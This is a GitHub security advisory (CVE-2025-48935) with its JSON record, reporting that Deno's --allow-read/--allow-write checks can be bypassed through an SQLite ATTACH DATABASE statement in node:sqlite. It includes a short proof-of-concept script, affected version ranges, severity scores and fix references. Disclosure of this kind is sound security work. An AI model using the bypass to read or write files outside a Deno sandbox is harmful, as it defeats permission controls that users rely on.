ghsa-8vxj-4cph-c596
Vulnerability from github
Published
2025-06-04 21:22
Modified
2025-07-02 18:32
Severity ?
9.1 (Critical) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
5.5 (Medium) - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P
Summary
Deno has --allow-read / --allow-write permission bypass in `node:sqlite`
Details

Summary

It is possible to bypass Deno's read/write permission checks by using ATTACH DATABASE statement.

PoC

```js // poc.js import { DatabaseSync } from "node:sqlite"

const db = new DatabaseSync(":memory:"); db.exec("ATTACH DATABASE 'test.db' as test;");

db.exec("CREATE TABLE test.test (id INTEGER PRIMARY KEY, name TEXT);"); ```

$ deno poc.js

Show details on source website

To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "deno"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.2.0"
            },
            {
              "fixed": "2.2.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "deno_node"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.129.0"
            },
            {
              "fixed": "0.134.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-48935"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-06-04T21:22:27Z",
    "nvd_published_at": "2025-06-04T20:15:24Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nIt is possible to bypass Deno\u0027s read/write permission checks by using `ATTACH DATABASE` statement.\n\n## PoC\n\n```js\n// poc.js\nimport { DatabaseSync } from \"node:sqlite\"\n\nconst db = new DatabaseSync(\":memory:\");\ndb.exec(\"ATTACH DATABASE \u0027test.db\u0027 as test;\");\n\ndb.exec(\"CREATE TABLE test.test (id INTEGER PRIMARY KEY, name TEXT);\");\n```\n\n```\n$ deno poc.js\n```",
  "id": "GHSA-8vxj-4cph-c596",
  "modified": "2025-07-02T18:32:15Z",
  "published": "2025-06-04T21:22:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/denoland/deno/security/advisories/GHSA-8vxj-4cph-c596"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-48935"
    },
    {
      "type": "WEB",
      "url": "https://github.com/denoland/deno/commit/31a97803995bd94629528ba841b2418d3ca01860"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/denoland/deno"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Deno has --allow-read / --allow-write permission bypass in `node:sqlite`"
}


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